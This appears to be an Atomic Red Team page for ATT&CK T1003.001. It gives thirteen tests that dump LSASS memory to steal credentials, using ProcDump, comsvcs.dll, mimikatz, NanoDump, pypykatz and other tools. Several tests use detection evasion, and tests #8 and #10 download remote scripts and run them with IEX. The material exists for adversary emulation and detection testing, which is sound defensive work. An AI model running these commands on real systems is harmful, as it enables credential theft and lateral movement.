Try it using Invoke-Atomic

OS Credential Dumping: LSASS Memory

Description from ATT&CK

Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement using Use Alternate Authentication Material.

As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.

For example, on the target host use procdump:

  • procdump -ma lsass.exe lsass_dump

Locally, mimikatz can be run using:

  • sekurlsa::Minidump lsassdump.dmp
  • sekurlsa::logonPasswords

Built-in Windows tools such as comsvcs.dll can also be used:

  • rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)

Windows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)

The following SSPs can be used to access credentials:

  • Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
  • Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)
  • Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.
  • CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)

Atomic Tests

Atomic Test #1 - Dump LSASS.exe Memory using ProcDump

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump.

Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.

If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the get-prereq_commands to download and install the ProcDump tool first.

Supported Platforms: windows

auto_generated_guid: 0be2230c-9ab3-4ac2-8826-3199b9a0ebf8

Inputs:

Name Description Type Default Value
output_file Path where resulting dump should be placed path C:\Windows\Temp\lsass_dump.dmp
procdump_exe Path of Procdump executable path PathToAtomicsFolder..\ExternalPayloads\procdump.exe

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

1
2

"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}

Cleanup Commands:

1
2

del "#{output_file}" >nul 2> nul

Dependencies: Run with powershell!

Description: ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe})

Check Prereq Commands:

1
2

if (Test-Path "#{procdump_exe}") {exit 0} else {exit 1}

Get Prereq Commands:

1
2
3
4
5
6
7

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip" "PathToAtomicsFolder\..\ExternalPayloads\Procdump" -Force
New-Item -ItemType Directory (Split-Path "#{procdump_exe}") -Force | Out-Null
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\Procdump\Procdump.exe" "#{procdump_exe}" -Force

Atomic Test #2 - Dump LSASS.exe Memory using comsvcs.dll

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll.

Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.

Supported Platforms: windows

auto_generated_guid: 2536dee2-12fb-459a-8c37-971844fa73be

Inputs:

None

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

1
2

C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full

Cleanup Commands:

1
2

Remove-Item $env:TEMP\lsass-comsvcs.dmp -ErrorAction Ignore

Atomic Test #3 - Dump LSASS.exe Memory using direct system calls and API unhooking

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection. https://github.com/outflanknl/Dumpert https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/ Upon successful execution, you should see the following file created C:\windows\temp\dumpert.dmp.

If you see a message saying \"The system cannot find the path specified.\", try using the get-prereq_commands to download the tool first.

Supported Platforms: windows

auto_generated_guid: 7ae7102c-a099-45c8-b985-4c7a2d05790d

Inputs:

Name Description Type Default Value
dumpert_exe Path of Dumpert executable path PathToAtomicsFolder..\ExternalPayloads\Outflank-Dumpert.exe

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

1
2

"#{dumpert_exe}"

Cleanup Commands:

1
2

del C:\windows\temp\dumpert.dmp >nul 2> nul

Dependencies: Run with powershell!

Description: Dumpert executable must exist on disk at specified location (#{dumpert_exe})

Check Prereq Commands:

1
2

if (Test-Path "#{dumpert_exe}") {exit 0} else {exit 1}

Get Prereq Commands:

1
2
3
4

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -ItemType Directory (Split-Path "#{dumpert_exe}") -Force | Out-Null
Invoke-WebRequest "https://github.com/clr2of8/Dumpert/raw/5838c357224cc9bc69618c80c2b5b2d17a394b10/Dumpert/x64/Release/Outflank-Dumpert.exe" -OutFile "#{dumpert_exe}"

Atomic Test #4 - Dump LSASS.exe Memory using NanoDump

The NanoDump tool uses syscalls and an invalid dump signature to avoid detection.

https://github.com/helpsystems/nanodump

Upon successful execution, you should find the nanondump.dmp file in the temp directory

Supported Platforms: windows

auto_generated_guid: dddd4aca-bbed-46f0-984d-e4c5971c51ea

Inputs:

None

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

1
2

%temp%\nanodump.x64.exe -w "%temp%\nanodump.dmp"

Cleanup Commands:

1
2

del "%temp%\nanodump.dmp" >nul 2> nul

Dependencies: Run with powershell!

Description: NanoDump executable must exist on disk at specified location (PathToAtomicsFolder..\ExternalPayloads\nanodump.x64.exe)

Check Prereq Commands:

1
2

if (Test-Path PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe) {exit 0} else {exit 1}

Get Prereq Commands:

1
2
3
4

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/helpsystems/nanodump/raw/84db0c1737bbe027431733c193cfacf59a07259b/compiled/nanodump.x64.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe"

Atomic Test #5 - Dump LSASS.exe Memory using Windows Task Manager

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task Manager and administrative permissions.

Supported Platforms: windows

auto_generated_guid: dea6c349-f1c6-44f3-87a1-1ed33a59a607

Inputs:

None

Run it with these steps!

  1. Open Task Manager: On a Windows system this can be accomplished by pressing CTRL-ALT-DEL and selecting Task Manager or by right-clicking on the task bar and selecting "Task Manager".

  2. Select lsass.exe: If lsass.exe is not visible, select "Show processes from all users". This will allow you to observe execution of lsass.exe and select it for manipulation.

  3. Dump lsass.exe memory: Right-click on lsass.exe in Task Manager. Select "Create Dump File". The following dialog will show you the path to the saved file.

1




Atomic Test #6 - Offline Credential Theft With Mimikatz


The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with
Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.



Supported Platforms: windows



auto_generated_guid: 453acf13-1dbd-47d7-b28a-172ce9228023



Inputs:




  
    

      Name
      Description
      Type
      Default Value
    

  
  
    

      input_file
      Path of the Lsass dump
      path
      %tmp%\lsass.DMP
    

    

      mimikatz_exe
      Path of the Mimikatz binary
      string
      PathToAtomicsFolder..\ExternalPayloads\x64\mimikatz.exe
    

  




Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)



1
2

"#{mimikatz_exe}" "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit





Dependencies:  Run with powershell!



Description: Mimikatz must exist on disk at specified location (#{mimikatz_exe})



Check Prereq Commands:



1
2

if (Test-Path "#{mimikatz_exe}") {exit 0} else {exit 1}





Get Prereq Commands:



1
2
3
4
5
6
7

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing) 
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
$basePath = Split-Path "#{mimikatz_exe}" | Split-Path
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath





Description: Lsass dump must exist at specified location (#{input_file})



Check Prereq Commands:



1
2

cmd /c "if not exist #{input_file} (exit /b 1)"





Get Prereq Commands:



1
2

Write-Host "Create the lsass dump manually using the steps in the previous test (Dump LSASS.exe Memory using Windows Task Manager)"





Atomic Test #7 - LSASS read with pypykatz


Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa::



Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test.



Successful execution of this test will display multiple usernames and passwords/hashes to the screen.



Supported Platforms: windows



auto_generated_guid: c37bc535-5c62-4195-9cc3-0517673171d8



Inputs:



None



Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)



1
2

pypykatz live lsa





Dependencies:  Run with command_prompt!



Description: Computer must have python 3 installed



Check Prereq Commands:



1
2
3

py -3 --version >nul 2>&1
exit /b %errorlevel%





Get Prereq Commands:



1
2

echo "Python 3 must be installed manually"





Description: Computer must have pip installed



Check Prereq Commands:



1
2
3

py -3 -m pip --version >nul 2>&1
exit /b %errorlevel%





Get Prereq Commands:



1
2

echo "PIP must be installed manually"





Description: pypykatz must be installed and part of PATH



Check Prereq Commands:



1
2
3

pypykatz -h >nul 2>&1
exit /b %errorlevel%





Get Prereq Commands:



1
2

pip install pypykatz





Atomic Test #8 - Dump LSASS.exe Memory using Out-Minidump.ps1


The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure
powershell implementation that leverages the MiniDumpWriteDump Win32 API call.
Upon successful execution, you should see the following file created $env:TEMP\lsass_*.dmp.



Author of Out-Minidump: Matthew Graeber (@mattifestation)



Supported Platforms: windows



auto_generated_guid: 6502c8f0-b775-4dbd-9193-1298f56b6781



Inputs:



None



Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)



1
2
3
4
5
6

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump





Cleanup Commands:



1
2

Remove-Item $env:TEMP\lsass_*.dmp -ErrorAction Ignore





Atomic Test #9 - Create Mini Dump of LSASS.exe using ProcDump


The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe



Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.



If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the  get-prereq_commands to download and install the ProcDump tool first.



Supported Platforms: windows



auto_generated_guid: 7cede33f-0acd-44ef-9774-15511300b24b



Inputs:




  
    

      Name
      Description
      Type
      Default Value
    

  
  
    

      output_file
      Path where resulting dump should be placed
      path
      C:\Windows\Temp\lsass_dump.dmp
    

    

      procdump_exe
      Path of Procdump executable
      path
      PathToAtomicsFolder..\ExternalPayloads\procdump.exe
    

  




Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)



1
2

"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}





Cleanup Commands:



1
2

del "#{output_file}" >nul 2> nul





Dependencies:  Run with powershell!



Description: ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe})



Check Prereq Commands:



1
2

if (Test-Path "#{procdump_exe}") {exit 0} else {exit 1}





Get Prereq Commands:



1
2
3
4
5
6

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip" "PathToAtomicsFolder\..\ExternalPayloads\Procdump" -Force
New-Item -ItemType Directory (Split-Path "#{procdump_exe}") -Force | Out-Null
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\Procdump\Procdump.exe" "#{procdump_exe}" -Force





Atomic Test #10 - Powershell Mimikatz


Dumps credentials from memory via Powershell by invoking a remote mimikatz script.
If Mimikatz runs successfully you will see several usernames and hashes output to the screen.
Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks execution. 
Or, if you try to run the test without the required administrative privileges you will see this error near the bottom of the output to the screen "ERROR kuhl_m_sekurlsa_acquireLSA"



Supported Platforms: windows



auto_generated_guid: 66fb0bc1-3c3f-47e9-a298-550ecfefacbc



Inputs:




  
    

      Name
      Description
      Type
      Default Value
    

  
  
    

      remote_script
      URL to a remote Mimikatz script that dumps credentials
      url
      https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1
    

  




Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)



1
2

IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds





Atomic Test #11 - Dump LSASS with createdump.exe from .Net v5


Use createdump executable from .NET to create an LSASS dump.



Reference



Supported Platforms: windows



auto_generated_guid: 9d0072c8-7cca-45c4-bd14-f852cfa35cf0



Inputs:



None



Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)



1
2
3

$exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id





Cleanup Commands:



1
2

Remove-Item $env:Temp\dotnet-lsass.dmp -ErrorAction Ignore





Dependencies:  Run with powershell!



Description: .Net v5 must be installed



Check Prereq Commands:



1
2
3

$exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
if ($exePath -and (Test-Path $exePath)) {exit 0} else {exit 1}





Get Prereq Commands:



1
2

winget install Microsoft.DotNet.DesktopRuntime.5 --accept-source-agreements --accept-package-agreements --silent





Atomic Test #12 - Dump LSASS.exe using imported Microsoft DLLs


The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by
importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump 
file and delete it immediately to avoid brittle EDR detections that signature lsass minidump files.



Upon successful execution, you should see the following file created $env:TEMP\lsass-xordump.t1003.001.dmp.



Supported Platforms: windows



auto_generated_guid: 86fc3f40-237f-4701-b155-81c01c48d697



Inputs:




  
    

      Name
      Description
      Type
      Default Value
    

  
  
    

      xordump_exe
      Path to xordump
      path
      C:\Windows\Temp\xordump.exe
    

    

      output_file
      Path where resulting dump should be placed
      path
      C:\Windows\Temp\lsass-xordump.t1003.001.dmp
    

  




Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)



1
2

#{xordump_exe} -out #{output_file} -x 0x41





Cleanup Commands:



1
2

Remove-Item #{output_file} -ErrorAction Ignore





Dependencies:  Run with powershell!



Description: Computer must have xordump.exe



Check Prereq Commands:



1
2

if (Test-Path '#{xordump_exe}') {exit 0} else {exit 1}





Get Prereq Commands:



1
2
3

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest "https://github.com/audibleblink/xordump/releases/download/v0.0.1/xordump.exe" -OutFile #{xordump_exe}





Atomic Test #13 - Dump LSASS.exe using lolbin rdrleakdiag.exe


The memory of lsass.exe is often dumped for offline credential theft attacks. 
This can be achieved with lolbin rdrleakdiag.exe.



Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and  $env:TEMP\results_<PID>.hlk.



Supported Platforms: windows



auto_generated_guid: 47a539d1-61b9-4364-bf49-a68bc2a95ef0



Inputs:



None



Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)



1
2
3
4
5
6
7
8
9
10
11
12
13
14

if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
  } elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
  } else {
      $binary_path = "File not found"
      exit 1
  }
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force} 
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."





Cleanup Commands:



1
2

Remove-Item $env:TEMP\t1003.001-13-rdrleakdiag -Recurse -Force -ErrorAction Ignore





source